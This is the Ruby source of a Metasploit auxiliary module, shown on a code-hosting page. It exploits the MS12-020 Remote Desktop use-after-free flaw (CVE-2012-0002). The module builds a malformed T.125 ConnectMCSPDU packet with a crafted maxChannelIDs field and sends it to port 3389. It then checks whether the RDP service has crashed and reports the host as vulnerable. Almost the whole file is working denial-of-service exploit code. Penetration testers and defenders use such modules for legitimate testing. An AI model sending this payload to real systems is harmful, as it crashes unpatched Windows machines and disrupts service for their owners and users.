Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb
Views: 11789
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Auxiliary::Report7include Msf::Exploit::Remote::Tcp8include Msf::Auxiliary::Dos910def initialize(info = {})11super(update_info(info,12'Name' => 'MS12-020 Microsoft Remote Desktop Use-After-Free DoS',13'Description' => %q{14This module exploits the MS12-020 RDP vulnerability originally discovered and15reported by Luigi Auriemma. The flaw can be found in the way the T.12516ConnectMCSPDU packet is handled in the maxChannelIDs field, which will result17an invalid pointer being used, therefore causing a denial-of-service condition.18},19'References' =>20[21[ 'CVE', '2012-0002' ],22[ 'MSB', 'MS12-020' ],23[ 'URL', 'http://www.privatepaste.com/ffe875e04a' ],24[ 'URL', 'http://pastie.org/private/4egcqt9nucxnsiksudy5dw' ],25[ 'URL', 'http://pastie.org/private/feg8du0e9kfagng4rrg' ],26[ 'URL', 'http://stratsec.blogspot.com.au/2012/03/ms12-020-vulnerability-for-breakfast.html' ],27[ 'EDB', '18606' ],28[ 'URL', 'https://www.rapid7.com/blog/post/2012/03/21/metasploit-update/' ]29],30'Author' =>31[32'Luigi Auriemma',33'Daniel Godas-Lopez', # Entirely based on Daniel's pastie34'Alex Ionescu',35'jduck',36'#ms12-020' # Freenode IRC37],38'License' => MSF_LICENSE,39'DisclosureDate' => '2012-03-16'40))4142register_options(43[44Opt::RPORT(3389)45])46end4748def is_rdp_up49begin50connect51disconnect52return true53rescue Rex::ConnectionRefused54return false55rescue Rex::ConnectionTimeout56return false57end58end5960def run61max_channel_ids = "\x02\x01\xff"6263pkt = ''+64"\x03\x00\x00\x13" + # TPKT: version + length65"\x0E\xE0\x00\x00" + # X.224 (connection request)66"\x00\x00\x00\x01" +67"\x00\x08\x00\x00" +68"\x00\x00\x00" +69"\x03\x00\x00\x6A" + # TPKT: version + length70"\x02\xF0\x80" + # X.224 (connect-initial)71"\x7F\x65\x82\x00" + # T.12572"\x5E" +73"\x04\x01\x01" + # callingDomainSelector74"\x04\x01\x01" + # calledDomainSelector75"\x01\x01\xFF" + # upwardFlag76"\x30\x19" + # targetParameters77max_channel_ids + # maxChannelIds78"\x02\x01\xFF" + # maxUserIds79"\x02\x01\x00" + # maxTokenIds80"\x02\x01\x01" + # numPriorities81"\x02\x01\x00" + # minThroughput82"\x02\x01\x01" + # maxHeight83"\x02\x02\x00\x7C" + # maxMCSPDUsize84"\x02\x01\x02" + # protocolVersion85"\x30\x19" + # minimumParameters86max_channel_ids + # maxChannelIds87"\x02\x01\xFF" + # maxUserIds88"\x02\x01\x00" + # maxTokenIds89"\x02\x01\x01" + # numPriorities90"\x02\x01\x00" + # minThroughput91"\x02\x01\x01" + # maxHeight92"\x02\x02\x00\x7C" + # maxMCSPDUsize93"\x02\x01\x02" + # protocolVersion94"\x30\x19" + # maximumParameters95max_channel_ids + # maxChannelIds96"\x02\x01\xFF" + # maxUserIds97"\x02\x01\x00" + # maxTokenIds98"\x02\x01\x01" + # numPriorities99"\x02\x01\x00" + # minThroughput100"\x02\x01\x01" + # maxHeight101"\x02\x02\x00\x7C" + # maxMCSPDUsize102"\x02\x01\x02" + # protocolVersion103"\x04\x82\x00\x00" + # userData104"\x03\x00\x00\x08" + # TPKT: version + length105"\x02\xF0\x80" + # X.224106"\x28" + # T.125107"\x03\x00\x00\x08" + # TPKT: version + length108"\x02\xF0\x80" + # X.224109"\x28" + # T.125110"\x03\x00\x00\x08" + # TPKT: version + length111"\x02\xF0\x80" + # X.224112"\x28" + # T.125113"\x03\x00\x00\x08" + # TPKT: version + length114"\x02\xF0\x80" + # X.224115"\x28" + # T.125116"\x03\x00\x00\x08" + # TPKT: version + length117"\x02\xF0\x80" + # X.224118"\x28" + # T.125119"\x03\x00\x00\x08" + # TPKT: version + length120"\x02\xF0\x80" + # X.224121"\x28" + # T.125122"\x03\x00\x00\x08" + # TPKT: version + length123"\x02\xF0\x80" + # X.224124"\x28" + # T.125125"\x03\x00\x00\x08" + # TPKT: version + length126"\x02\xF0\x80" + # X.224127"\x28" + # T.125128"\x03\x00\x00\x0C" + # TPKT: version + length129"\x02\xF0\x80" + # X.224130"\x38\x00\x06\x03" + # T.125131"\xF0" +132"\x03\x00\x00\x09" + # TPKT: version + length133"\x02\xF0\x80" + # X.224134"\x21\x80" # T.125135136unless is_rdp_up137print_error("#{rhost}:#{rport} - RDP Service Unreachable")138return139end140141connect142print_status("#{rhost}:#{rport} - Sending #{self.name}")143sock.put(pkt)144Rex.sleep(3)145disconnect146print_status("#{rhost}:#{rport} - #{pkt.length.to_s} bytes sent")147148print_status("#{rhost}:#{rport} - Checking RDP status...")149150if is_rdp_up151print_error("#{rhost}:#{rport} - RDP Service Unreachable")152return153else154print_good("#{rhost}:#{rport} seems down")155report_vuln({156:host => rhost,157:port => rport,158:name => self.name,159:refs => self.references,160:info => "Module #{self.fullname} successfully crashed the target system via RDP"161})162end163164end165end166167168